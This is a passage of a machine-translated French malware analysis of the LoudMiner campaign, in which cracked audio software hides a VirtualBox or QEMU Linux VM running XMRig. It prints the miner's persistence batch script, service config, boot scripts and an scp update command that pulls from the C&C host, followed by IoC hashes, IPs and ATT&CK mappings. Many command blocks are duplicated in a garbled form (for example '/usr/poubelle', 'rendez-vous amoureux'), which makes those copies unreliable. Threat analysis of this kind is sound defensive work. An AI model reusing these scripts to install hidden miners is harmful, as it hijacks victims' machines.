répertoire dans Support d&#39;application et le nom de fichier QEMU est aléatoire.","html":"<p>La version 1 exécute les fichiers binaires suivants (copies de qemu-system-x86_64) pour lancer les images QEMU: qemu-system-x86_64, moniteur système, outils-service.\nLes versions 2 et 3 utilisent la même commande, mais le nom du fichier binaire, répertoire dans Support d&#039;application et le nom de fichier QEMU est aléatoire.</p>"},{"id":"text-64","type":"text","heading":"","plain_text":"Toutes les versions utilisent les commutateurs suivants:","html":"<p>Toutes les versions utilisent les commutateurs suivants:</p>"},{"id":"text-65","type":"text","heading":"","plain_text":"-M accel = hvf utiliser le framework Hypervisor comme accélérateur. HVF a été introduit avec OS X 10.10 et un support pour HVF a été ajouté dans QEMU 2.12, qui a été publié en avril 2018.\n-display aucun de sorte que la machine virtuelle s&#39;exécute sans interface graphique.","html":"<p>-M accel = hvf utiliser le framework Hypervisor comme accélérateur. HVF a été introduit avec OS X 10.10 et un support pour HVF a été ajouté dans QEMU 2.12, qui a été publié en avril 2018.\n-display aucun de sorte que la machine virtuelle s&#039;exécute sans interface graphique.</p>"},{"id":"text-66","type":"text","heading":"","plain_text":"Étant donné que l&#39;image est lancée sans spécifier la quantité de RAM et le nombre de cœurs de la CPU, les valeurs par défaut sont utilisées: 1 cœur de la CPU et 128 Mo de RAM. Toutes les versions peuvent lancer 2 images.\nWindows (version 4)\nÀ partir des chaînes que nous avons extraites de l&#39;application, nous définissons la seule version de Windows vue jusqu&#39;à présent, la version 4. Comme nous l&#39;avons mentionné précédemment, la logique est assez similaire à la version macOS. Chaque application Windows est présentée sous la forme d’un programme d’installation MSI qui installe à la fois l’application «fissurée» et la figure 8 illustre la zone de confiance pour l’installation du pilote VirtualBox lors de l’exécution d’un programme d’installation VST «fissuré» à partir de vstcrack.[.]com.","html":"<p>Étant donné que l&#039;image est lancée sans spécifier la quantité de RAM et le nombre de cœurs de la CPU, les valeurs par défaut sont utilisées: 1 cœur de la CPU et 128 Mo de RAM. Toutes les versions peuvent lancer 2 images.\nWindows (version 4)\nÀ partir des chaînes que nous avons extraites de l&#039;application, nous définissons la seule version de Windows vue jusqu&#039;à présent, la version 4. Comme nous l&#039;avons mentionné précédemment, la logique est assez similaire à la version macOS. Chaque application Windows est présentée sous la forme d’un programme d’installation MSI qui installe à la fois l’application «fissurée» et la figure 8 illustre la zone de confiance pour l’installation du pilote VirtualBox lors de l’exécution d’un programme d’installation VST «fissuré» à partir de vstcrack.[.]com.</p>"},{"id":"text-67","type":"text","heading":"","plain_text":"Figure 8. Fenêtre contextuelle de confiance pour un pilote VirtualBox lors de l&#39;installation d&#39;une application à partir de vstcrack[.]com","html":"<p>Figure 8. Fenêtre contextuelle de confiance pour un pilote VirtualBox lors de l&#039;installation d&#039;une application à partir de vstcrack[.]com</p>"},{"id":"text-68","type":"text","heading":"","plain_text":"VirtualBox est installé dans son nom de dossier habituel (C:  Program Files  Oracle) cependant, les attributs du répertoire sont réglés sur «masqué». Le programme d’installation copie ensuite l’image Linux et VBoxVmService (un service Windows utilisé pour exécuter une machine virtuelle VirtualBox en tant que service) dans C:  vms, qui est aussi un répertoire caché. Une fois l’installation terminée, le programme d’installation exécute un script de traitement par lots compilé avec BAT2EXE (voir la liste des packages décompressés dans le script 4) pour importer l’image Linux et exécuter VmServiceControl.exe pour démarrer la machine virtuelle en tant que service.","html":"<p>VirtualBox est installé dans son nom de dossier habituel (C:  Program Files  Oracle) cependant, les attributs du répertoire sont réglés sur «masqué». Le programme d’installation copie ensuite l’image Linux et VBoxVmService (un service Windows utilisé pour exécuter une machine virtuelle VirtualBox en tant que service) dans C:  vms, qui est aussi un répertoire caché. Une fois l’installation terminée, le programme d’installation exécute un script de traitement par lots compilé avec BAT2EXE (voir la liste des packages décompressés dans le script 4) pour importer l’image Linux et exécuter VmServiceControl.exe pour démarrer la machine virtuelle en tant que service.</p>"},{"id":"text-69","type":"text","heading":"","plain_text":"@Écho off\nsetlocal EnableExtensions EnableDelayedExpansion\n&quot;c:  Program Files  Oracle  VirtualBox  vboxmanage.exe&quot; dossier machine de la propriété &quot;% userprofile%  appdata  roaming&quot;\n&quot;c:  Program Files  Oracle  VirtualBox  vboxmanage.exe&quot; import &quot;c:  vms  tmp  sys00_1.ova&quot;\nxcopy / Y &quot;C:  Windows  System32  Config  systemprofile  .VirtualBox&quot; &quot;C:  vms  .VirtualBox &quot;\n&quot;C:  vms  VmServiceControl.exe&quot; -i\ndel / F &quot;c:  vms  tmp  sys00_1.ova&quot;","html":"<p>@Écho off\nsetlocal EnableExtensions EnableDelayedExpansion\n&quot;c:  Program Files  Oracle  VirtualBox  vboxmanage.exe&quot; dossier machine de la propriété &quot;% userprofile%  appdata  roaming&quot;\n&quot;c:  Program Files  Oracle  VirtualBox  vboxmanage.exe&quot; import &quot;c:  vms  tmp  sys00_1.ova&quot;\nxcopy / Y &quot;C:  Windows  System32  Config  systemprofile  .VirtualBox&quot; &quot;C:  vms  .VirtualBox &quot;\n&quot;C:  vms  VmServiceControl.exe&quot; -i\ndel / F &quot;c:  vms  tmp  sys00_1.ova&quot;</p>"},{"id":"text-70","type":"text","heading":"","plain_text":"@écho de\nsetlocal EnableExtensions EnableDelayedExpansion\n&quot;c:  Program Files  Oracle  VirtualBox  vboxmanage.exe&quot; set property dossier machine &quot;% userprofile%  appdata  roaming&quot;\n&quot;c:  Program Files  Oracle  VirtualBox  vboxmanage.exe&quot; importation &quot;c:  vms  tmp  sys00_1.ova&quot;\nxcopy /Y &quot;C:  Windows  System32  Config  systemprofile  .VirtualBox&quot; &quot;C:  vms  .VirtualBox &quot;\n&quot;C:vmsVmServiceControl.EXE&quot; -je\ndel / F &quot;c:vmstmpsys00_1.ovules&quot;","html":"<p>@écho de\nsetlocal EnableExtensions EnableDelayedExpansion\n&quot;c:  Program Files  Oracle  VirtualBox  vboxmanage.exe&quot; set property dossier machine &quot;% userprofile%  appdata  roaming&quot;\n&quot;c:  Program Files  Oracle  VirtualBox  vboxmanage.exe&quot; importation &quot;c:  vms  tmp  sys00_1.ova&quot;\nxcopy /Y &quot;C:  Windows  System32  Config  systemprofile  .VirtualBox&quot; &quot;C:  vms  .VirtualBox &quot;\n&quot;C:vmsVmServiceControl.EXE&quot; -je\ndel / F &quot;c:vmstmpsys00_1.ovules&quot;</p>"},{"id":"text-71","type":"text","heading":"","plain_text":"Script 4. Script batch utilisé pour exécuter la machine virtuelle Linux en tant que service\nCette méthode est utilisée pour assurer la persistance du mineur après le redémarrage. En effet, VboxVmService est livré avec un fichier de configuration (voir Script 5) dans lequel il est possible d&#39;activer le AutoStart option pour que la machine virtuelle soit automatiquement lancée au démarrage.","html":"<p>Script 4. Script batch utilisé pour exécuter la machine virtuelle Linux en tant que service\nCette méthode est utilisée pour assurer la persistance du mineur après le redémarrage. En effet, VboxVmService est livré avec un fichier de configuration (voir Script 5) dans lequel il est possible d&#039;activer le AutoStart option pour que la machine virtuelle soit automatiquement lancée au démarrage.</p>"},{"id":"text-72","type":"text","heading":"","plain_text":"[Settings]\nVBOX_USER_HOME = C:  vms  .VirtualBox\nRunWebService = no\nPauseShutdown = 5000\n[Vm0]\nVmName = sys00_1\nShutdownMethod = acpipowerbutton\nAutoStart = oui","html":"<p>[Settings]\nVBOX_USER_HOME = C:  vms  .VirtualBox\nRunWebService = no\nPauseShutdown = 5000\n[Vm0]\nVmName = sys00_1\nShutdownMethod = acpipowerbutton\nAutoStart = oui</p>"},{"id":"text-73","type":"text","heading":"","plain_text":"[[[[Réglages]\nVBOX_USER_HOME=C:vms.VirtualBox\nRunWebService=non\nPauseArrêt=5000\n[[[[Vm0]\nVmName=sys00_1\nMéthode d&#39;arrêt=acpipowerbutton\nAutoStart=Oui","html":"<p>[[[[Réglages]\nVBOX_USER_HOME=C:vms.VirtualBox\nRunWebService=non\nPauseArrêt=5000\n[[[[Vm0]\nVmName=sys00_1\nMéthode d&#039;arrêt=acpipowerbutton\nAutoStart=Oui</p>"},{"id":"text-74","type":"text","heading":"","plain_text":"Script 5. Fichier de configuration pour VBoxVmService avec AutoStart activée\nLe fichier OVF inclus dans l&#39;image Linux décrit la configuration matérielle de la machine virtuelle (voir Script 6): elle utilise 1 Go de RAM et 2 cœurs de processeur (avec une utilisation maximale de 90%).","html":"<p>Script 5. Fichier de configuration pour VBoxVmService avec AutoStart activée\nLe fichier OVF inclus dans l&#039;image Linux décrit la configuration matérielle de la machine virtuelle (voir Script 6): elle utilise 1 Go de RAM et 2 cœurs de processeur (avec une utilisation maximale de 90%).</p>"},{"id":"text-75","type":"text","heading":"","plain_text":"&lt;Matériel&gt;\n&lt;CPU compter=&quot;2&quot; exécutionCap=&quot;90&quot;&gt;\n&lt;PAE activée=&quot;vrai&quot;/&gt;\n&lt;LongMode activée=&quot;vrai&quot;/&gt;\n&lt;X2APIC activée=&quot;vrai&quot;/&gt;\n&lt;MatérielVirtExLargePages activée=&quot;vrai&quot;/&gt;\n&lt;/CPU&gt;\n&lt;Mémoire RAMSize=&quot;1024&quot;/&gt;","html":"<p>&lt;Matériel&gt;\n&lt;CPU compter=&quot;2&quot; exécutionCap=&quot;90&quot;&gt;\n&lt;PAE activée=&quot;vrai&quot;/&gt;\n&lt;LongMode activée=&quot;vrai&quot;/&gt;\n&lt;X2APIC activée=&quot;vrai&quot;/&gt;\n&lt;MatérielVirtExLargePages activée=&quot;vrai&quot;/&gt;\n&lt;/CPU&gt;\n&lt;Mémoire RAMSize=&quot;1024&quot;/&gt;</p>"},{"id":"text-76","type":"text","heading":"","plain_text":"Script 6. Configuration matérielle de l&#39;image Linux\nImage de Linux\nL&#39;image Linux est Tiny Core Linux 9.0 configuré pour exécuter XMRig, ainsi que certains fichiers et scripts pour maintenir le mineur à jour en permanence. Les fichiers les plus intéressants sont:","html":"<p>Script 6. Configuration matérielle de l&#039;image Linux\nImage de Linux\nL&#039;image Linux est Tiny Core Linux 9.0 configuré pour exécuter XMRig, ainsi que certains fichiers et scripts pour maintenir le mineur à jour en permanence. Les fichiers les plus intéressants sont:</p>"},{"id":"text-77","type":"text","heading":"","plain_text":"/root/.ssh/id_rsa, id_rsa.pub &#8211; la clé de paire SSH utilisée pour mettre à jour le mineur à partir du serveur C &amp; C à l&#39;aide de SCP.\n/opt/bootsync.sh, bootlocal.sh &#8211; les commandes de démarrage du système qui tentent de mettre à jour le mineur à partir du serveur C &amp; C et de l&#39;exécuter (voir Scripts 7 et 8):","html":"<p>/root/.ssh/id_rsa, id_rsa.pub &#8211; la clé de paire SSH utilisée pour mettre à jour le mineur à partir du serveur C &amp; C à l&#039;aide de SCP.\n/opt/bootsync.sh, bootlocal.sh &#8211; les commandes de démarrage du système qui tentent de mettre à jour le mineur à partir du serveur C &amp; C et de l&#039;exécuter (voir Scripts 7 et 8):</p>"},{"id":"text-78","type":"text","heading":"","plain_text":"/ usr / bin / sethostname box\n/opt/bootlocal.sh 2&gt; &amp; 1&gt; / dev / null &amp;\necho &quot;booting&quot;&gt; / etc / sysconfig / noautologin","html":"<p>/ usr / bin / sethostname box\n/opt/bootlocal.sh 2&gt; &amp; 1&gt; / dev / null &amp;\necho &quot;booting&quot;&gt; / etc / sysconfig / noautologin</p>"},{"id":"text-79","type":"text","heading":"","plain_text":"/usr/poubelle/sethostname boîte\n/opter/bootlocal.sh 2&gt;Et1 &gt; /dev/nul Et\nécho &quot;démarrage&quot; &gt; /etc/sysconfig/noautologin","html":"<p>/usr/poubelle/sethostname boîte\n/opter/bootlocal.sh 2&gt;Et1 &gt; /dev/nul Et\nécho &quot;démarrage&quot; &gt; /etc/sysconfig/noautologin</p>"},{"id":"text-80","type":"text","heading":"","plain_text":"Script 7. bootsync.sh","html":"<p>Script 7. bootsync.sh</p>"},{"id":"text-81","type":"text","heading":"","plain_text":"/ mnt / sda1 / tools / bin / idgenerator 2&gt; &amp; 1&gt; / dev / null\n/ mnt / sda1 / tools / bin / xmrig_update 2&gt; &amp; 1&gt; / dev / null\n/ mnt / sda1 / tools / bin / ccommand_update 2&gt; &amp; 1&gt; / dev / null\n/ mnt / sda1 / tools / bin / ccommand 2&gt; &amp; 1&gt; / dev / null\n/ mnt / sda1 / tools / bin / xmrig","html":"<p>/ mnt / sda1 / tools / bin / idgenerator 2&gt; &amp; 1&gt; / dev / null\n/ mnt / sda1 / tools / bin / xmrig_update 2&gt; &amp; 1&gt; / dev / null\n/ mnt / sda1 / tools / bin / ccommand_update 2&gt; &amp; 1&gt; / dev / null\n/ mnt / sda1 / tools / bin / ccommand 2&gt; &amp; 1&gt; / dev / null\n/ mnt / sda1 / tools / bin / xmrig</p>"},{"id":"text-82","type":"text","heading":"","plain_text":"/mnt/sda1/outils/poubelle/générateur d&#39;énergie 2&gt;Et1 &gt; /dev/nul\n/mnt/sda1/outils/poubelle/xmrig_mettre à jour 2&gt;Et1 &gt; /dev/nul\n/mnt/sda1/outils/poubelle/commande_mettre à jour 2&gt;Et1 &gt; /dev/nul\n/mnt/sda1/outils/poubelle/commande 2&gt;Et1 &gt; /dev/nul\n/mnt/sda1/outils/poubelle/xmrig","html":"<p>/mnt/sda1/outils/poubelle/générateur d&#039;énergie 2&gt;Et1 &gt; /dev/nul\n/mnt/sda1/outils/poubelle/xmrig_mettre à jour 2&gt;Et1 &gt; /dev/nul\n/mnt/sda1/outils/poubelle/commande_mettre à jour 2&gt;Et1 &gt; /dev/nul\n/mnt/sda1/outils/poubelle/commande 2&gt;Et1 &gt; /dev/nul\n/mnt/sda1/outils/poubelle/xmrig</p>"},{"id":"text-83","type":"text","heading":"","plain_text":"Script 8. bootlocal.sh","html":"<p>Script 8. bootlocal.sh</p>"},{"id":"text-84","type":"text","heading":"","plain_text":"/ mnt / sda1 / tools / bin &#8211; les fichiers principaux et les scripts utilisés pour mettre à jour et exécuter le mineur.\n/ mnt / sda1 / tools / xmrig &#8211; contient le code source de XMRig (à partir du référentiel GitHub).","html":"<p>/ mnt / sda1 / tools / bin &#8211; les fichiers principaux et les scripts utilisés pour mettre à jour et exécuter le mineur.\n/ mnt / sda1 / tools / xmrig &#8211; contient le code source de XMRig (à partir du référentiel GitHub).</p>"},{"id":"text-85","type":"text","heading":"","plain_text":"La configuration du mineur est stockée dans /mnt/sda1/tools/bin/config.json et contient principalement le nom de domaine et le port utilisé pour le pool d’extraction, qui peuvent varier en fonction de la version (voir des exemples dans la section IoC).\nLe mécanisme de mise à jour est effectué via SCP (Secure File Copy) par trois scripts différents:","html":"<p>La configuration du mineur est stockée dans /mnt/sda1/tools/bin/config.json et contient principalement le nom de domaine et le port utilisé pour le pool d’extraction, qui peuvent varier en fonction de la version (voir des exemples dans la section IoC).\nLe mécanisme de mise à jour est effectué via SCP (Secure File Copy) par trois scripts différents:</p>"},{"id":"text-86","type":"text","heading":"","plain_text":"xmrig_update &#8211; met à jour la configuration du mineur (config.json)\ncommande &#8211; mises à jour ccommand_update, xmrig_update (voir le script 9), updater.sh, xmrig;\nccommand_update &#8211; mises à jour commande;","html":"<p>xmrig_update &#8211; met à jour la configuration du mineur (config.json)\ncommande &#8211; mises à jour ccommand_update, xmrig_update (voir le script 9), updater.sh, xmrig;\nccommand_update &#8211; mises à jour commande;</p>"},{"id":"text-87","type":"text","heading":"","plain_text":"D&#39;après ce que nous avons vu, la configuration du mineur est mise à jour une fois par jour.","html":"<p>D&#039;après ce que nous avons vu, la configuration du mineur est mise à jour une fois par jour.</p>"},{"id":"text-88","type":"text","heading":"","plain_text":"#! / bin / sh\nping -w 40 127.0.0.1\ncd / mnt / sda1 / tools / bin / &amp; scp -P 5100 -C -o StrictHostKeyChecking = no -o UserKnownHostsFile = / dev / null x01@system-update.is: ctrl / cowboinvox`date +% Y% m% d `config.json.new &amp;&amp; mv config.json config.json.bkp &amp;&amp; mv config.json.new config.json","html":"<p>#! / bin / sh\nping -w 40 127.0.0.1\ncd / mnt / sda1 / tools / bin / &amp; scp -P 5100 -C -o StrictHostKeyChecking = no -o UserKnownHostsFile = / dev / null x01@system-update.is: ctrl / cowboinvox`date +% Y% m% d `config.json.new &amp;&amp; mv config.json config.json.bkp &amp;&amp; mv config.json.new config.json</p>"},{"id":"text-89","type":"text","heading":"","plain_text":"#! / bin / sh\nping &#8211;w 40 127.0.0.1\nCD /mnt/sda1/outils/poubelle/ &amp;&amp; scp &#8211;P 5100 &#8211;C &#8211;o StrictHostKeyChecking=non &#8211;o UserKnownHostsFile=/dev/nul x01@système&#8211;mettre à jour.est:ctrl/cowboinvox`rendez-vous amoureux +%Y%m%ré` config.JSON.Nouveau &amp;&amp; mv config.JSON config.JSON.bkp &amp;&amp; mv config.JSON.Nouveau config.JSON","html":"<p>#! / bin / sh\nping &#8211;w 40 127.0.0.1\nCD /mnt/sda1/outils/poubelle/ &amp;&amp; scp &#8211;P 5100 &#8211;C &#8211;o StrictHostKeyChecking=non &#8211;o UserKnownHostsFile=/dev/nul x01@système&#8211;mettre à jour.est:ctrl/cowboinvox`rendez-vous amoureux +%Y%m%ré` config.JSON.Nouveau &amp;&amp; mv config.JSON config.JSON.bkp &amp;&amp; mv config.JSON.Nouveau config.JSON</p>"},{"id":"text-90","type":"text","heading":"","plain_text":"Script 9. xmrig_update\nAfin d’identifier une session d’extraction particulière, un fichier contenant l’adresse IP de la machine et la date du jour est créé par le générateur d&#39;énergie Le script et sa sortie sont envoyés au serveur C &amp; C par le updater.sh scénario.\nÉvidemment, le meilleur conseil à se protéger contre ce type de menace est de ne pas télécharger des copies piratées de logiciels commerciaux. Toutefois, il existe des astuces qui peuvent vous aider à identifier le moment où une application contient du code indésirable:","html":"<p>Script 9. xmrig_update\nAfin d’identifier une session d’extraction particulière, un fichier contenant l’adresse IP de la machine et la date du jour est créé par le générateur d&#039;énergie Le script et sa sortie sont envoyés au serveur C &amp; C par le updater.sh scénario.\nÉvidemment, le meilleur conseil à se protéger contre ce type de menace est de ne pas télécharger des copies piratées de logiciels commerciaux. Toutefois, il existe des astuces qui peuvent vous aider à identifier le moment où une application contient du code indésirable:</p>"},{"id":"text-91","type":"text","heading":"","plain_text":"Confiance provenant d’un programme d’installation «supplémentaire» inattendu (dans ce cas, la carte réseau Oracle).\nConsommation de processeur élevée par un processus que vous n&#39;avez pas installé (QEMU ou VirtualBox dans ce cas).\nUn nouveau service ajouté à la liste des services de démarrage (Windows) ou un nouveau démon de lancement (macOS).\nConnexions réseau à des noms de domaine curieux (tels que system-update[.]info ou vérification du système[.]services ici).","html":"<p>Confiance provenant d’un programme d’installation «supplémentaire» inattendu (dans ce cas, la carte réseau Oracle).\nConsommation de processeur élevée par un processus que vous n&#039;avez pas installé (QEMU ou VirtualBox dans ce cas).\nUn nouveau service ajouté à la liste des services de démarrage (Windows) ou un nouveau démon de lancement (macOS).\nConnexions réseau à des noms de domaine curieux (tels que system-update[.]info ou vérification du système[.]services ici).</p>"},{"id":"text-92","type":"text","heading":"","plain_text":"Des hachis\napplications «fissurées» macOS (versions 1 à 3)","html":"<p>Des hachis\napplications «fissurées» macOS (versions 1 à 3)</p>"},{"id":"text-93","type":"text","heading":"","plain_text":"SHA-1\nNom de fichier\nNom de détection ESET\nNuméro de version","html":"<p>SHA-1\nNom de fichier\nNom de détection ESET\nNuméro de version</p>"},{"id":"text-94","type":"text","heading":"","plain_text":"71030028c4e1b844c85138bd77ddea96a190ec2c\nVirtual_DJ_8_Pro_Infinity_macOS.pkg\nOSX / LoudMiner.A\n1","html":"<p>71030028c4e1b844c85138bd77ddea96a190ec2c\nVirtual_DJ_8_Pro_Infinity_macOS.pkg\nOSX / LoudMiner.A\n1</p>"},{"id":"text-95","type":"text","heading":"","plain_text":"32c80edcec4f7bb3b494e8949c6f2014b7f5db65\nNative Instruments Massive Installer.pkg\nOSX / LoudMiner.A\n1","html":"<p>32c80edcec4f7bb3b494e8949c6f2014b7f5db65\nNative Instruments Massive Installer.pkg\nOSX / LoudMiner.A\n1</p>"},{"id":"text-96","type":"text","heading":"","plain_text":"7dc9f8ca07cd8e0247cf15cd8d2da2190a02fc90\nMassive_v1.5.5_Installer_macOS.dmg\nOSX / LoudMiner.B\n2","html":"<p>7dc9f8ca07cd8e0247cf15cd8d2da2190a02fc90\nMassive_v1.5.5_Installer_macOS.dmg\nOSX / LoudMiner.B\n2</p>"},{"id":"text-97","type":"text","heading":"","plain_text":"0b40bd0754637d5be2ada760ff0ecfda7afe03d7\nNative_Instruments_Effects_Series_Mod_Pack.dmg\nOSX / LoudMiner.B\n2","html":"<p>0b40bd0754637d5be2ada760ff0ecfda7afe03d7\nNative_Instruments_Effects_Series_Mod_Pack.dmg\nOSX / LoudMiner.B\n2</p>"},{"id":"text-98","type":"text","heading":"","plain_text":"88efc767a32299e922f1b41f82c8d584585e2161\nSpectrasonics_Omnisphere_2.5_OSx.dmg\nOSX / LoudMiner.C\n3","html":"<p>88efc767a32299e922f1b41f82c8d584585e2161\nSpectrasonics_Omnisphere_2.5_OSx.dmg\nOSX / LoudMiner.C\n3</p>"},{"id":"text-99","type":"text","heading":"","plain_text":"e9c9d17d006fb03d67b736c0826df0af8ca6d5fd\nLennar_Digital_Sylenth1_2.2.1.dmg\nOSX / LoudMiner.C\n3","html":"<p>e9c9d17d006fb03d67b736c0826df0af8ca6d5fd\nLennar_Digital_Sylenth1_2.2.1.dmg\nOSX / LoudMiner.C\n3</p>"},{"id":"text-100","type":"text","heading":"","plain_text":"Applications «fissurées» de Windows (version 4)","html":"<p>Applications «fissurées» de Windows (version 4)</p>"},{"id":"text-101","type":"text","heading":"","plain_text":"SHA-1\nNom de fichier\nNom de détection ESET","html":"<p>SHA-1\nNom de fichier\nNom de détection ESET</p>"},{"id":"text-102","type":"text","heading":"","plain_text":"23faacfc23cfef65504d7fa20854030b96a9df91\nAbleton.Live.Suite.10.0.6.Multilingual.x64.WIN.zip\nWin32 / LoudMiner.A","html":"<p>23faacfc23cfef65504d7fa20854030b96a9df91\nAbleton.Live.Suite.10.0.6.Multilingual.x64.WIN.zip\nWin32 / LoudMiner.A</p>"},{"id":"text-103","type":"text","heading":"","plain_text":"5a8682eae69b2e11d45980941a972bd734630207\nInfected-Mushroom-Manipulator-V1.0.3.zip\nWin32 / LoudMiner.A","html":"<p>5a8682eae69b2e11d45980941a972bd734630207\nInfected-Mushroom-Manipulator-V1.0.3.zip\nWin32 / LoudMiner.A</p>"},{"id":"text-104","type":"text","heading":"","plain_text":"60a8f1d4a028153271093e815e8267bd25fde852\nSonic_Academy_ANA_2.0.3_x86_x64.msi\nWin32 / LoudMiner.A","html":"<p>60a8f1d4a028153271093e815e8267bd25fde852\nSonic_Academy_ANA_2.0.3_x86_x64.msi\nWin32 / LoudMiner.A</p>"},{"id":"text-105","type":"text","heading":"","plain_text":"7c7876058783da85d5502b9406f7fb4d26f66238\nSoundToys_5.0.1_x64-SetupFiles.rar\nWin32 / LoudMiner.A","html":"<p>7c7876058783da85d5502b9406f7fb4d26f66238\nSoundToys_5.0.1_x64-SetupFiles.rar\nWin32 / LoudMiner.A</p>"},{"id":"text-106","type":"text","heading":"","plain_text":"a1a1dc7876d71749a8bc5690c537451770ef4ab8\nValhalla-DSP-Full-Bundle-setupfiles.zip\nWin32 / LoudMiner.A","html":"<p>a1a1dc7876d71749a8bc5690c537451770ef4ab8\nValhalla-DSP-Full-Bundle-setupfiles.zip\nWin32 / LoudMiner.A</p>"},{"id":"text-107","type":"text","heading":"","plain_text":"Images Linux","html":"<p>Images Linux</p>"},{"id":"text-108","type":"text","heading":"","plain_text":"SHA-1\nNom de fichier\nNuméro de version","html":"<p>SHA-1\nNom de fichier\nNuméro de version</p>"},{"id":"text-109","type":"text","heading":"","plain_text":"dd9b89a3c5a88fb679f098e2c2847d22350e23b1\nsys00_1-disk001.qcow2\n1","html":"<p>dd9b89a3c5a88fb679f098e2c2847d22350e23b1\nsys00_1-disk001.qcow2\n1</p>"},{"id":"text-110","type":"text","heading":"","plain_text":"d1e42e913da308812dd8da1601531b197c1a09a1\nsys00_1-disk001.qcow2\n1","html":"<p>d1e42e913da308812dd8da1601531b197c1a09a1\nsys00_1-disk001.qcow2\n1</p>"},{"id":"text-111","type":"text","heading":"","plain_text":"39a7e86368f0e68a86cce975fd9d8c254a86ed93\nz1.qcow2 (renommé avec un nom aléatoire)\n2","html":"<p>39a7e86368f0e68a86cce975fd9d8c254a86ed93\nz1.qcow2 (renommé avec un nom aléatoire)\n2</p>"},{"id":"text-112","type":"text","heading":"","plain_text":"59026ffa1aa7b60e5058a0795906d107170b9e0f\nz1.qcow2 (renommé avec un nom aléatoire)\n3","html":"<p>59026ffa1aa7b60e5058a0795906d107170b9e0f\nz1.qcow2 (renommé avec un nom aléatoire)\n3</p>"},{"id":"text-113","type":"text","heading":"","plain_text":"fcf5c3b560295ee330b97424b7354fd321757cc6\nsys00_1.ova\n4","html":"<p>fcf5c3b560295ee330b97424b7354fd321757cc6\nsys00_1.ova\n4</p>"},{"id":"text-114","type":"text","heading":"","plain_text":"fc60431a0172d5b8cf4b34866567656467cf861c\nsys00_1.ova\n4","html":"<p>fc60431a0172d5b8cf4b34866567656467cf861c\nsys00_1.ova\n4</p>"},{"id":"text-115","type":"text","heading":"","plain_text":"Noms de fichiers\nmacOS","html":"<p>Noms de fichiers\nmacOS</p>"},{"id":"text-116","type":"text","heading":"","plain_text":"/ Bibliothèque / Application Support / .Qemusys\n/ Bibliothèque / Application Support / .System-Monitor\n/usr/local/bin/.Tools-Service, cpumonitor, moniteur système, tools-service\n/Bibliothèque/LaunchDaemons/com.buildtools.system-monitor.plist, com.buildtools.tools-service.plist, com.modulesys.qemuservice.plist, com.systools.cpumonitor.plist","html":"<p>/ Bibliothèque / Application Support / .Qemusys\n/ Bibliothèque / Application Support / .System-Monitor\n/usr/local/bin/.Tools-Service, cpumonitor, moniteur système, tools-service\n/Bibliothèque/LaunchDaemons/com.buildtools.system-monitor.plist, com.buildtools.tools-service.plist, com.modulesys.qemuservice.plist, com.systools.cpumonitor.plist</p>"},{"id":"text-117","type":"text","heading":"","plain_text":"les fenêtres\nNoms d&#39;hôtes\nvstcrack[.]com (137[.]74.151.144)\nHôtes de téléchargement (via HTTP sur le port 80)","html":"<p>les fenêtres\nNoms d&#039;hôtes\nvstcrack[.]com (137[.]74.151.144)\nHôtes de téléchargement (via HTTP sur le port 80)</p>"},{"id":"text-118","type":"text","heading":"","plain_text":"185[.]112.156.163\n185[.]112.156.29\n185[.]112.156.70\n185[.]112.157.102\n185[.]112.157.103\n185[.]112.157.105\n185[.]112.157.12\n185[.]112.157.181\n185[.]112.157.213\n185[.]112.157.24\n185[.]112.157.38\n185[.]112.157.49\n185[.]112.157.53\n185[.]112.157.65\n185[.]112.157.72\n185[.]112.157.79\n185[.]112.157.85\n185[.]112.157.99\n185[.]112.158.112\n185[.]112.158.133\n185[.]112.158.186\n185[.]112.158.190\n185[.]112.158.20\n185[.]112.158.3\n185[.]112.158.96\nd-d[.]hôte (185[.]112.158.44)\nd-d[.]vivre (185[.]112.156.227)\nd-d[.]espace (185[.]112.157.79)\nm-m[.]icu (185[.]112.157.118)","html":"<p>185[.]112.156.163\n185[.]112.156.29\n185[.]112.156.70\n185[.]112.157.102\n185[.]112.157.103\n185[.]112.157.105\n185[.]112.157.12\n185[.]112.157.181\n185[.]112.157.213\n185[.]112.157.24\n185[.]112.157.38\n185[.]112.157.49\n185[.]112.157.53\n185[.]112.157.65\n185[.]112.157.72\n185[.]112.157.79\n185[.]112.157.85\n185[.]112.157.99\n185[.]112.158.112\n185[.]112.158.133\n185[.]112.158.186\n185[.]112.158.190\n185[.]112.158.20\n185[.]112.158.3\n185[.]112.158.96\nd-d[.]hôte (185[.]112.158.44)\nd-d[.]vivre (185[.]112.156.227)\nd-d[.]espace (185[.]112.157.79)\nm-m[.]icu (185[.]112.157.118)</p>"},{"id":"text-119","type":"text","heading":"","plain_text":"Mettre à jour les hôtes (via SCP)","html":"<p>Mettre à jour les hôtes (via SCP)</p>"},{"id":"text-120","type":"text","heading":"","plain_text":"aly001[.]hopto.org (192[.]210.200.87, port 22)\nmise à jour du système[.]est (145[.]249.104.109, port 5100)","html":"<p>aly001[.]hopto.org (192[.]210.200.87, port 22)\nmise à jour du système[.]est (145[.]249.104.109, port 5100)</p>"},{"id":"text-121","type":"text","heading":"","plain_text":"Mining hôtes","html":"<p>Mining hôtes</p>"},{"id":"text-122","type":"text","heading":"","plain_text":"mise à jour du système[.]info (185)[.]193.126.114, port 443 ou 8080)\nverification du système[.]services (82[.]221.139.161, port 8080)","html":"<p>mise à jour du système[.]info (185)[.]193.126.114, port 443 ou 8080)\nverification du système[.]services (82[.]221.139.161, port 8080)</p>"},{"id":"text-123","type":"text","heading":"","plain_text":"Tactique\nID\nprénom\nLa description","html":"<p>Tactique\nID\nprénom\nLa description</p>"},{"id":"text-124","type":"text","heading":"","plain_text":"Exécution\nT1035\nExécution du service\nSous Windows, l&#39;image Linux est exécutée en tant que service avec VboxVmService.","html":"<p>Exécution\nT1035\nExécution du service\nSous Windows, l&#039;image Linux est exécutée en tant que service avec VboxVmService.</p>"},{"id":"text-125","type":"text","heading":"","plain_text":"Persistance\nT1050\nNouveau service\nInstallez la machine virtuelle Linux en tant que service avec VboxVmService.","html":"<p>Persistance\nT1050\nNouveau service\nInstallez la machine virtuelle Linux en tant que service avec VboxVmService.</p>"},{"id":"text-126","type":"text","heading":"","plain_text":"T1062\nHyperviseur\nInstallez un hyperviseur de type 2 sur l&#39;hôte (VirtualBox ou QEMU) pour exécuter le mineur.","html":"<p>T1062\nHyperviseur\nInstallez un hyperviseur de type 2 sur l&#039;hôte (VirtualBox ou QEMU) pour exécuter le mineur.</p>"},{"id":"text-127","type":"text","heading":"","plain_text":"T1160\nLancer le démon\nLes versions de macOS utilisent un démon de lancement pour assurer la 